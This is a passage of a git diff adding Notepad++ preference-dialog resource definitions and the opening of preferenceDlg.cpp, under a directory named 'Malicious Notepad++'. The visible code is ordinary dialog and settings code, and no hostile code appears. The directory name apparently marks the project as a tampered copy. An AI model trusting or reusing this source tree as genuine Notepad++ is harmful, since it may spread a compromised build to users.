WS_TABSTOP,37,143,217,10 + CONTROL "Treat backslash as escape character for SQL",IDC_CHECK_BACKSLASHISESCAPECHARACTERFORSQL, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,37,158,217,10 + CONTROL "Enable Notepad++ auto-updater",IDC_CHECK_AUTOUPDATE, + "Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,37,173,150,10 + CONTROL "Enable",IDC_CHECK_CLICKABLELINK_ENABLE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,267,15,140,10 + CONTROL "No underline",IDC_CHECK_CLICKABLELINK_NOUNDERLINE, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,267,28,140,10 + CONTROL "Enable",IDC_CHECK_FILEAUTODETECTION,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,267,57,140,10 + CONTROL "Update silently",IDC_CHECK_UPDATESILENTLY,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,267,69,140,10 + CONTROL "Scroll to the last line after update",IDC_CHECK_UPDATEGOTOEOF, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,267,81,140,10 + EDITTEXT IDC_EDIT_SESSIONFILEEXT,381,135,34,14,ES_AUTOHSCROLL + EDITTEXT IDC_EDIT_WORKSPACEFILEEXT,381,152,34,14,ES_AUTOHSCROLL + GROUPBOX "Document Switcher (Ctrl+TAB)",IDC_DOCUMENTSWITCHER_STATIC,37,4,155,39,BS_CENTER + GROUPBOX "Clickable Link Settings",IDC_CLICKABLELINK_STATIC,259,4,155,39,BS_CENTER + GROUPBOX "Document Peeker",IDC_DOCUMENTPEEK_STATIC,37,47,155,39,BS_CENTER + GROUPBOX "File Status Auto-Detection",IDC_FILEAUTODETECTION_STATIC,259,47,155,50,BS_CENTER + RTEXT "Session file ext.:",IDC_SESSIONFILEEXT_STATIC,271,138,108,8 + RTEXT "Workspace file ext.:",IDC_WORKSPACEFILEEXT_STATIC,271,155,108,8 +END + +IDD_PREFERENCE_NEWDOCSETTING_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "New Document",IDC_NEWDOCUMENT_GR_STATIC,50,8,354,161,BS_CENTER + GROUPBOX "Format (Line ending)",IDC_FORMAT_GB_STATIC,68,29,129,79,BS_CENTER + CONTROL "Windows (CR LF)",IDC_RADIO_F_WIN,"Button",BS_AUTORADIOBUTTON | WS_GROUP,75,48,70,10 + CONTROL "Unix (LF)",IDC_RADIO_F_UNIX,"Button",BS_AUTORADIOBUTTON,75,64,70,10 + CONTROL "Macintosh (CR)",IDC_RADIO_F_MAC,"Button",BS_AUTORADIOBUTTON,75,80,70,10 + GROUPBOX "Encoding",IDC_ENCODING_STATIC,212,28,175,122,BS_CENTER + CONTROL "ANSI",IDC_RADIO_ANSI,"Button",BS_AUTORADIOBUTTON | WS_GROUP,222,39,80,10 + CONTROL "UTF-8",IDC_RADIO_UTF8SANSBOM,"Button",BS_AUTORADIOBUTTON,222,53,128,10 + CONTROL "Apply to opened ANSI files",IDC_CHECK_OPENANSIASUTF8, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,232,65,124,10 + CONTROL "UTF-8 with BOM",IDC_RADIO_UTF8,"Button",BS_AUTORADIOBUTTON,222,79,62,10 + CONTROL "UCS-2 Big Endian with BOM",IDC_RADIO_UCS2BIG,"Button",BS_AUTORADIOBUTTON,222,95,110,10 + CONTROL "UCS-2 Little Endian with BOM",IDC_RADIO_UCS2SMALL,"Button",BS_AUTORADIOBUTTON,222,111,110,10 + CONTROL "",IDC_RADIO_OTHERCP,"Button",BS_AUTORADIOBUTTON,222,126,10,10 + COMBOBOX IDC_COMBO_OTHERCP,236,126,100,140,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + RTEXT "Default language :",IDC_DEFAULTLANG_STATIC,57,130,77,8 + COMBOBOX IDC_COMBO_DEFAULTLANG,139,128,60,140,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP +END + +IDD_PREFERENCE_DEFAULTDIRECTORY_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Default Directory (Open/Save)",IDC_OPENSAVEDIR_GR_STATIC,110,29,232,101,BS_CENTER + CONTROL "Follow current document",IDC_OPENSAVEDIR_FOLLOWCURRENT_RADIO, + "Button",BS_AUTORADIOBUTTON | WS_GROUP,118,60,200,10 + CONTROL "Remember last used directory",IDC_OPENSAVEDIR_REMEMBERLAST_RADIO, + "Button",BS_AUTORADIOBUTTON,118,75,217,10 + CONTROL "",IDC_OPENSAVEDIR_ALWAYSON_RADIO,"Button",BS_AUTORADIOBUTTON,118,89,11,10 + EDITTEXT IDC_OPENSAVEDIR_ALWAYSON_EDIT,134,88,179,14,ES_AUTOHSCROLL + PUSHBUTTON "...",IDD_OPENSAVEDIR_ALWAYSON_BROWSE_BUTTON,320,87,16,14 + CONTROL "Use new style save dialog (without file extension feature)",IDC_OPENSAVEDIR_CHECK_USENEWSTYLESAVEDIALOG, "Button",BS_AUTOCHECKBOX | WS_TABSTOP,110,145,250,10 + CONTROL "Open all files of folder instead of launching Folder as Workspace on folder dropping",IDC_OPENSAVEDIR_CHECK_DRROPFOLDEROPENFILES, "Button",BS_AUTOCHECKBOX | WS_TABSTOP,110,158,290,10 +END + +IDD_PREFERENCE_RECENTFILESHISTORY_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Recent Files History",IDC_HISTORY_GB_STATIC,104,25,260,126,BS_CENTER + RTEXT "Max. number of entries :",IDC_MAXNBFILE_STATIC,108,52,112,8 + LTEXT "0",IDC_MAXNBFILEVAL_STATIC,229,52,15,8,WS_TABSTOP + CONTROL "Don't check at launch time",IDC_CHECK_DONTCHECKHISTORY, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,121,39,140,10 + GROUPBOX "Display",IDC_DISPLAY_STATIC,121,65,225,73,BS_CENTER + CONTROL "In Submenu",IDC_CHECK_INSUBMENU,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,132,76,79,10 + CONTROL "Only File Name",IDC_RADIO_ONLYFILENAME,"Button",BS_AUTORADIOBUTTON | WS_GROUP,133,92,130,10 + CONTROL "Full File Name Path",IDC_RADIO_FULLFILENAMEPATH,"Button",BS_AUTORADIOBUTTON,133,106,130,10 + CONTROL "Customize Maximum Length:",IDC_RADIO_CUSTOMIZELENTH,"Button",BS_AUTORADIOBUTTON,133,120,114,10 + LTEXT "0",IDC_CUSTOMIZELENGTHVAL_STATIC,251,120,18,8,WS_TABSTOP +END + +IDD_PREFERENCE_LANG_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Language Menu",IDC_CHECK_LANGMENU_GR_STATIC,34,3,220,172,BS_CENTER + CONTROL "Make language menu compact",IDC_CHECK_LANGMENUCOMPACT, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,48,14,174,10 + CTEXT "Available items",IDC_ENABLEDITEMS_STATIC,52,31,72,8 + LISTBOX IDC_LIST_ENABLEDLANG,47,44,78,120,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP + PUSHBUTTON "->",IDC_BUTTON_REMOVE,132,76,25,14 + PUSHBUTTON "<-",IDC_BUTTON_RESTORE,132,107,25,14 + CTEXT "Disabled items",IDC_DISABLEDITEMS_STATIC,167,31,72,8 + LISTBOX IDC_LIST_DISABLEDLANG,164,44,78,120,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP + GROUPBOX "Tab Settings",IDC_TABSETTING_GB_STATIC,275,3,130,172,BS_CENTER + LISTBOX IDC_LIST_TABSETTNG,297,18,84,100,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP + GROUPBOX "",IDC_GR_TABVALUE_STATIC,287,125,110,42,BS_CENTER + CONTROL "Use default value",IDC_CHECK_DEFAULTTABVALUE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,283,125,85,10 + RTEXT "Tab size : ",IDC_TABSIZE_STATIC,288,138,58,8 + LTEXT "0",IDC_TABSIZEVAL_STATIC,348,138,18,8,WS_TABSTOP + LTEXT "0",IDC_TABSIZEVAL_DISABLE_STATIC,348,138,18,8 + CONTROL "Replace by space",IDC_CHECK_REPLACEBYSPACE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,295,149,100,10 +END + +IDD_PREFERENCE_HILITE_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Smart Highlighting",IDC_SMARTHILITING_STATIC,147,21,155,81,BS_CENTER + CONTROL "Enable",IDC_CHECK_ENABLSMARTHILITE,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,155,31,142,10 + CONTROL "Match case",IDC_CHECK_SMARTHILITECASESENSITIVE,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,155,45,142,10 + CONTROL "Match whole word only",IDC_CHECK_SMARTHILITEWHOLEWORDONLY, "Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,155,58,142,10 + CONTROL "Use Find dialog settings",IDC_CHECK_SMARTHILITEUSEFINDSETTINGS, "Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,155,72,142,10 + CONTROL "Highlight another view",IDC_CHECK_SMARTHILITEANOTHERRVIEW, "Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,155,86,142,10 + + GROUPBOX "Highlight Matching Tags",IDC_TAGMATCHEDHILITE_STATIC,147,110,155,55,BS_CENTER + CONTROL "Enable",IDC_CHECK_ENABLTAGSMATCHHILITE,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,155,120,140,10 + CONTROL "Highlight tag attributes",IDC_CHECK_ENABLTAGATTRHILITE,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,155,134,140,10 + CONTROL "Highlight comment/php/asp zone",IDC_CHECK_HIGHLITENONEHTMLZONE,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,155,148,140,10 +END + +IDD_PREFERENCE_PRINT_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + CONTROL "WYSIWYG",IDC_RADIO_WYSIWYG,"Button",BS_AUTORADIOBUTTON,12,30,123,10 + CONTROL "Invert",IDC_RADIO_INVERT,"Button",BS_AUTORADIOBUTTON,12,45,90,10 + CONTROL "Black on white",IDC_RADIO_BW,"Button",BS_AUTORADIOBUTTON,12,60,90,10 + CONTROL "No background colour",IDC_RADIO_NOBG,"Button",BS_AUTORADIOBUTTON,12,76,123,10 + GROUPBOX "Colour Options",IDC_COLOUROPT_STATIC,6,20,133,73,BS_CENTER + CONTROL "Print line number",IDC_CHECK_PRINTLINENUM,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,6,6,133,10 + EDITTEXT IDC_EDIT_ML,42,136,17,14,ES_NUMBER + EDITTEXT IDC_EDIT_MT,59,120,17,14,ES_NUMBER + EDITTEXT IDC_EDIT_MR,77,136,17,14,ES_NUMBER + EDITTEXT IDC_EDIT_MB,59,152,17,14,ES_NUMBER + RTEXT "Left",IDC_ML_STATIC,9,139,30,8 + CTEXT "Top",IDC_MT_STATIC,41,110,54,8 + LTEXT "Right",IDC_MR_STATIC,99,139,29,8 + CTEXT "Bottom",IDC_MB_STATIC,41,167,54,8 + GROUPBOX "Margin Setting (Unit:mm)",IDC_MARGESETTINGS_STATIC,6,98,133,82,BS_CENTER + EDITTEXT IDC_EDIT_HLEFT,166,58,83,14,ES_AUTOHSCROLL + EDITTEXT IDC_EDIT_HMIDDLE,256,58,83,14,ES_CENTER | ES_AUTOHSCROLL + EDITTEXT IDC_EDIT_HRIGHT,346,58,83,14,ES_RIGHT | ES_AUTOHSCROLL + COMBOBOX IDC_COMBO_HFONTNAME,166,76,84,104,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + COMBOBOX IDC_COMBO_HFONTSIZE,256,76,31,72,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + CONTROL "Bold",IDC_CHECK_HBOLD,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,296,76,46,10 + CONTROL "Italic",IDC_CHECK_HITALIC,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,356,76,43,10 + GROUPBOX "Header",IDC_HGB_STATIC,158,39,279,56,BS_CENTER + CTEXT "Left part",IDC_HL_STATIC,168,49,79,8 + CTEXT "Middle part",IDC_HM_STATIC,260,49,75,8 + CTEXT "Right part",IDC_HR_STATIC,348,49,78,8 + EDITTEXT IDC_EDIT_FLEFT,166,116,83,14,ES_AUTOHSCROLL + EDITTEXT IDC_EDIT_FMIDDLE,257,116,83,14,ES_CENTER | ES_AUTOHSCROLL + EDITTEXT IDC_EDIT_FRIGHT,346,116,83,14,ES_RIGHT | ES_AUTOHSCROLL + COMBOBOX IDC_COMBO_FFONTNAME,166,134,84,119,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + COMBOBOX IDC_COMBO_FFONTSIZE,258,134,31,71,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + CONTROL "Bold",IDC_CHECK_FBOLD,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,297,136,46,10 + CONTROL "Italic",IDC_CHECK_FITALIC,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,356,136,47,10 + GROUPBOX "Footer",IDC_FGB_STATIC,158,97,279,58,BS_CENTER + CTEXT "Left part",IDC_FL_STATIC,168,107,78,8 + CTEXT "Middle part",IDC_FM_STATIC,257,107,82,8 + CTEXT "Right part",IDC_FR_STATIC,348,107,79,8 + COMBOBOX IDC_COMBO_VARLIST,259,24,70,58,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + PUSHBUTTON "Add",IDC_BUTTON_ADDVAR,337,24,44,12 + RTEXT "Variable :",IDC_VAR_STATIC,198,26,59,8 + RTEXT "Here display your variable settings",IDC_WHICHPART_STATIC,155,161,120,8 + LTEXT "",IDC_VIEWPANEL_STATIC,277,161,180,8 + GROUPBOX "Header and Footer",IDC_HEADERFPPTER_GR_STATIC,150,7,296,172,BS_CENTER +END + +IDD_PREFERENCE_BACKUP_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Session snapshot and periodic backup",IDC_BACKUPDIR_RESTORESESSION_GRP_STATIC,79,1,289,75,BS_CENTER + CONTROL "Remember current session for next launch",IDC_CHECK_REMEMBERSESSION, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,90,10,270,10 + CONTROL "Enable session snapshot and periodic backup",IDC_BACKUPDIR_RESTORESESSION_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,90,25,270,10 + EDITTEXT IDC_BACKUPDIR_RESTORESESSION_EDIT,164,40,21,14,ES_NUMBER + RTEXT "Backup in every",IDD_BACKUPDIR_RESTORESESSION_STATIC1,82,42,78,8 + LTEXT "seconds",IDD_BACKUPDIR_RESTORESESSION_STATIC2,190,42,66,8 + GROUPBOX "Backup on save",IDC_BACKUPDIR_GRP_STATIC,79,81,289,101,BS_CENTER + CONTROL "None",IDC_RADIO_BKNONE,"Button",BS_AUTORADIOBUTTON | WS_GROUP,104,90,87,10 + CONTROL "Simple backup",IDC_RADIO_BKSIMPLE,"Button",BS_AUTORADIOBUTTON,104,104,111,10 + CONTROL "Verbose backup",IDC_RADIO_BKVERBOSE,"Button",BS_AUTORADIOBUTTON,104,117,111,10 + GROUPBOX "Custom Backup Directory",IDC_BACKUPDIR_USERCUSTOMDIR_GRPSTATIC,95,135,260,40 + CONTROL "",IDC_BACKUPDIR_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,91,135,8,10 + RTEXT "Directory :",IDD_BACKUPDIR_STATIC,99,152,40,8 + EDITTEXT IDC_BACKUPDIR_EDIT,146,150,179,14,ES_AUTOHSCROLL + PUSHBUTTON "...",IDD_BACKUPDIR_BROWSE_BUTTON,332,150,16,14 + RTEXT "Backup path:",IDD_BACKUPDIR_RESTORESESSION_PATHLABEL_STATIC,85,60,61,8 + EDITTEXT IDD_BACKUPDIR_RESTORESESSION_PATH_EDIT,153,58,208,14,ES_AUTOHSCROLL | ES_READONLY +END + +IDD_PREFERENCE_AUTOCOMPLETION_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Auto-Completion",IDD_AUTOC_GRPSTATIC,86,4,289,84,BS_CENTER + CONTROL "Enable auto-completion on each input",IDD_AUTOC_ENABLECHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,91,15,150,10 + CONTROL "Function completion",IDD_AUTOC_FUNCRADIO,"Button",BS_AUTORADIOBUTTON | WS_GROUP,118,27,145,10 + CONTROL "Word completion",IDD_AUTOC_WORDRADIO,"Button",BS_AUTORADIOBUTTON,118,41,145,10 + CONTROL "Function and word completion",IDD_AUTOC_BOTHRADIO,"Button",BS_AUTORADIOBUTTON,118,55,145,10 + RTEXT "From",IDD_AUTOC_STATIC_FROM,248,15,47,8 + CTEXT "1",IDD_AUTOC_STATIC_N,299,15,8,8,WS_TABSTOP + LTEXT "th character",IDD_AUTOC_STATIC_CHAR,313,15,57,8 + LTEXT "Valid value : 1 - 9",IDD_AUTOC_STATIC_NOTE,278,25,93,8 + CONTROL "Ignore numbers",IDD_AUTOC_IGNORENUMBERS, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,278,55,80,10 + CONTROL "Function parameters hint on input",IDD_FUNC_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,91,72,160,10 + GROUPBOX "Auto-Insert",IDD_AUTOCINSERT_GRPSTATIC,86,94,289,84,BS_CENTER + CONTROL " (",IDD_AUTOCPARENTHESES_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,101,115,24,10 + CONTROL " [",IDD_AUTOCBRACKET_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,101,133,24,10 + CONTROL " {",IDD_AUTOCCURLYBRACKET_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,101,152,24,10 + CONTROL " """,IDD_AUTOC_DOUBLEQUOTESCHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,145,116,24,10 + CONTROL " '",IDD_AUTOC_QUOTESCHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,145,133,24,10 + CONTROL " html/xml close tag",IDD_AUTOCTAG_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,145,152,76,10 + RTEXT "Open",IDC_MACHEDPAIROPEN_STATIC,307,103,25,8 + LTEXT "Close",IDC_MACHEDPAIRCLOSE_STATIC,345,103,25,8 + RTEXT "Matched pair 1:",IDC_MACHEDPAIR_STATIC1,248,117,70,8 + EDITTEXT IDC_MACHEDPAIROPEN_EDIT1,320,115,14,14 + EDITTEXT IDC_MACHEDPAIRCLOSE_EDIT1,348,115,14,14 + RTEXT "Matched pair 2:",IDC_MACHEDPAIR_STATIC2,248,137,70,8 + EDITTEXT IDC_MACHEDPAIROPEN_EDIT2,320,135,14,14 + EDITTEXT IDC_MACHEDPAIRCLOSE_EDIT2,348,135,14,14 + RTEXT "Matched pair 3:",IDC_MACHEDPAIR_STATIC3,248,157,70,8 + EDITTEXT IDC_MACHEDPAIROPEN_EDIT3,320,155,14,14 + EDITTEXT IDC_MACHEDPAIRCLOSE_EDIT3,348,155,14,14 +END + +IDD_PREFERENCE_MULTIINSTANCE_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Multi-instance settings",IDC_MULTIINST_GB_STATIC,89,44,268,110,BS_CENTER + CONTROL "Open session in a new instance of Notepad++",IDC_SESSIONININST_RADIO, + "Button",BS_AUTORADIOBUTTON,122,61,226,10 + CONTROL "Always in multi-instance mode",IDC_MULTIINST_RADIO, + "Button",BS_AUTORADIOBUTTON,122,80,218,10 + CONTROL "Default (mono-instance)",IDC_MONOINST_RADIO,"Button",BS_AUTORADIOBUTTON,122,99,196,10 + LTEXT "* The modification of this setting needs to restart Notepad++",IDD_STATIC_RESTARTNOTE,110,124,239,20 +END + +IDD_PREFERENCE_DELIMITERSETTINGS_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Word character list",IDC_WORDCHARLIST_GB_STATIC,89,2,268,93,BS_CENTER + CONTROL "Use default Word character list as it is",IDC_RADIO_WORDCHAR_DEFAULT,"Button",BS_AUTORADIOBUTTON | WS_GROUP,100,18,250,10 + CONTROL "Add your character as part of word\r(don't choose it unless you know what you're doing)",IDC_RADIO_WORDCHAR_CUSTOM, + "Button",BS_AUTORADIOBUTTON | BS_MULTILINE | WS_GROUP,100,32,250,20 + EDITTEXT IDC_WORDCHAR_CUSTOM_EDIT,111,54,180,14,ES_AUTOHSCROLL + PUSHBUTTON "?",IDD_WORDCHAR_QUESTION_BUTTON,303,53,16,14 + LTEXT "",IDD_STATIC_WORDCHAR_WARNING,111,70,210,8 + + GROUPBOX "Delimiter selection settings (Ctrl + Mouse double click)",IDC_DELIMITERSETTINGS_GB_STATIC,89,113,268,70,BS_CENTER + RTEXT "Open",IDD_STATIC_OPENDELIMITER,117,128,34,8 + EDITTEXT IDC_EDIT_OPENDELIMITER,156,126,14,14 + LTEXT "bla bla bla bla bla bla",IDD_STATIC_BLABLA,172,128,56,8 + LTEXT "bla bla bla bla bla bla bla bla bla bla bla bla",IDD_STATIC_BLABLA2NDLINE,132,148,126,8 + EDITTEXT IDC_EDIT_CLOSEDELIMITER,237,126,14,14 + LTEXT "Close",IDD_STATIC_CLOSEDELIMITER,252,128,47,8 + CONTROL "Allow on several lines",IDD_SEVERALLINEMODEON_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,118,166,160,10 +END + +IDD_PREFERENCE_SETTINGSONCLOUD_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Settings on cloud",IDC_SETTINGSONCLOUD_GB_STATIC,89,44,268,102,BS_CENTER + CONTROL "No Cloud",IDC_NOCLOUD_RADIO,"Button",BS_AUTORADIOBUTTON,125,57,180,10 + CONTROL "Set your cloud location path here:",IDC_WITHCLOUD_RADIO,"Button",BS_AUTORADIOBUTTON,125,72,180,10 + EDITTEXT IDC_CLOUDPATH_EDIT,134,88,179,14,ES_AUTOHSCROLL + PUSHBUTTON "...",IDD_CLOUDPATH_BROWSE_BUTTON,320,87,16,14 + LTEXT "",IDC_SETTINGSONCLOUD_WARNING_STATIC,131,117,220,20 +END + +IDD_PREFERENCE_SEARCHENGINE_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Search Engine (for command ""Search on Internet"")",IDC_SEARCHENGINES_GB_STATIC,89,24,268,130,BS_CENTER + CONTROL "DuckDuckGo",IDC_SEARCHENGINE_DUCKDUCKGO_RADIO,"Button",BS_AUTORADIOBUTTON,125,37,180,10 + CONTROL "Google",IDC_SEARCHENGINE_GOOGLE_RADIO,"Button",BS_AUTORADIOBUTTON,125,52,180,10 + CONTROL "Bing",IDC_SEARCHENGINE_BING_RADIO,"Button",BS_AUTORADIOBUTTON,125,67,180,10 + CONTROL "Yahoo!",IDC_SEARCHENGINE_YAHOO_RADIO,"Button",BS_AUTORADIOBUTTON,125,82,180,10 + CONTROL "Set your search engine here:",IDC_SEARCHENGINE_CUSTOM_RADIO,"Button",BS_AUTORADIOBUTTON,125,97,180,10 + EDITTEXT IDC_SEARCHENGINE_EDIT,134,112,179,14,ES_AUTOHSCROLL + LTEXT "Example: https://www.google.com/search?q=$(CURRENT_WORD)",IDD_SEARCHENGINE_NOTE_STATIC,134,127,220,20 +END diff --git a/Malicious Notepad++/src/WinControls/Preference/preferenceDlg.cpp b/Malicious Notepad++/src/WinControls/Preference/preferenceDlg.cpp new file mode 100644 index 0000000..2a57ff0 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Preference/preferenceDlg.cpp @@ -0,0 +1,3422 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include +#include "preferenceDlg.h" +#include "lesDlgs.h" +#include "EncodingMapper.h" +#include "localization.h" + +#define MyGetGValue(rgb) (LOBYTE((rgb)>>8)) + +using namespace std; + +const int BLINKRATE_FASTEST = 50; +const int BLINKRATE_SLOWEST = 2500; +const int BLINKRATE_INTERVAL = 50; + +const int BORDERWIDTH_SMALLEST = 0; +const int BORDERWIDTH_LARGEST = 30; +const int BORDERWIDTH_INTERVAL = 1; + +// This int encoding array is built from "EncodingUnit encodings[]" (see EncodingMapper.cpp) +// And DefaultNewDocDlg will use "int encoding array" to get more info from "EncodingUnit encodings[]" +static int encodings[] = { + 1250, + 1251, + 1252, + 1253, + 1254, + 1255, + 1256, + 1257, + 1258, + 28591, + 28592, + 28593, + 28594, + 28595, + 28596, + 28597, + 28598, + 28599, + 28603, + 28604, + 28605, + 437, + 720, + 737, + 775, + 850, + 852, + 855, + 857, + 858, + 860, + 861, + 862, + 863, + 865, + 866, + 869, + 950, + 936, + 932, + 949, + 51949, + 874, + 10007, + 21866, + 20866 +}; + +INT_PTR CALLBACK PreferenceDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + _barsDlg.init(_hInst, _hSelf); + _barsDlg.create(IDD_PREFERENCE_BAR_BOX, false, false); + _barsDlg.display(); + + _marginsDlg.init(_hInst, _hSelf); + _marginsDlg.create(IDD_PREFERENCE_MARGEIN_BOX, false, false); + + _settingsDlg.init(_hInst, _hSelf); + _settingsDlg.create(IDD_PREFERENCE_SETTING_BOX, false, false); + + _defaultNewDocDlg.init(_hInst, _hSelf); + _defaultNewDocDlg.create(IDD_PREFERENCE_NEWDOCSETTING_BOX, false, false); + + _defaultDirectoryDlg.init(_hInst, _hSelf); + _defaultDirectoryDlg.create(IDD_PREFERENCE_DEFAULTDIRECTORY_BOX, false, false); + + _recentFilesHistoryDlg.init(_hInst, _hSelf); + _recentFilesHistoryDlg.create(IDD_PREFERENCE_RECENTFILESHISTORY_BOX, false, false); + + _fileAssocDlg.init(_hInst, _hSelf); + _fileAssocDlg.create(IDD_REGEXT_BOX, false, false); + + _printSettingsDlg.init(_hInst, _hSelf); + _printSettingsDlg.create(IDD_PREFERENCE_PRINT_BOX, false, false); + + _langMenuDlg.init(_hInst, _hSelf); + _langMenuDlg.create(IDD_PREFERENCE_LANG_BOX, false, false); + + _highlighting.init(_hInst, _hSelf); + _highlighting.create(IDD_PREFERENCE_HILITE_BOX, false, false); + + _backupDlg.init(_hInst, _hSelf); + _backupDlg.create(IDD_PREFERENCE_BACKUP_BOX, false, false); + + _autoCompletionDlg.init(_hInst, _hSelf); + _autoCompletionDlg.create(IDD_PREFERENCE_AUTOCOMPLETION_BOX, false, false); + + _multiInstDlg.init(_hInst, _hSelf); + _multiInstDlg.create(IDD_PREFERENCE_MULTIINSTANCE_BOX, false, false); + + _delimiterSettingsDlg.init(_hInst, _hSelf); + _delimiterSettingsDlg.create(IDD_PREFERENCE_DELIMITERSETTINGS_BOX, false, false); + + _settingsOnCloudDlg.init(_hInst, _hSelf); + _settingsOnCloudDlg.create(IDD_PREFERENCE_SETTINGSONCLOUD_BOX, false, false); + + _searchEngineDlg.init(_hInst, _hSelf); + 